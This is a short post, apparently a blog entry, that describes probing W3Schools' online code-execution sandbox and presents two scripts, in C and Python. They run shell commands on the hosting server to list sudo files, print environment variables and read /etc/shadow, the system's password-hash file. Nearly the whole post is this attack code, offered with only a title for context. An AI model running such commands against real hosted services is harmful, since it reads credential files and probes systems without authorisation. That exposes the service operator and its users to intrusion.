How I used W3 Schools sub processing to find an exploit

The Code

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Made By Taylor Christian Newsome\n");
    FILE *fp;
    char result[1000];
    char *commands[] = {
        "ls -l /etc/sudo.conf",
        "ls -l /usr/bin/sudo",
        "cat /etc/shadow",
        "set",
    };
    for (int i = 0; i < sizeof(commands) / sizeof(commands[0]); i++) {
        fp = popen(commands[i], "r");
        if (fp == NULL) {
            printf("Failed to run command\n");
            exit(1);
        }
        while (fgets(result, sizeof(result), fp) != NULL) {
            printf("%s", result);
        }
        pclose(fp);
    }
    printf("Made By Taylor Christian Newsome\n");
    return 0;
}

The Code

import subprocess
print("Made By Taylor Christian Newsome")
commands = [
    ("ls -l /etc/sudo.conf", "ls -l /usr/bin/sudo", "cat /etc/shadow"),
    ("'ls -l /etc/sudo.conf'", "'ls -l /usr/bin/sudo'", "'cat /etc/shadow'")
]
for idx, (cmd, desc) in enumerate(zip(commands[0], commands[1])):
    print(f"\nCommand {idx + 1}: {desc}")
    result = subprocess.run(cmd.split(), capture_output=True, text=True)
    print(result.stdout)
print("Script execution completed.")
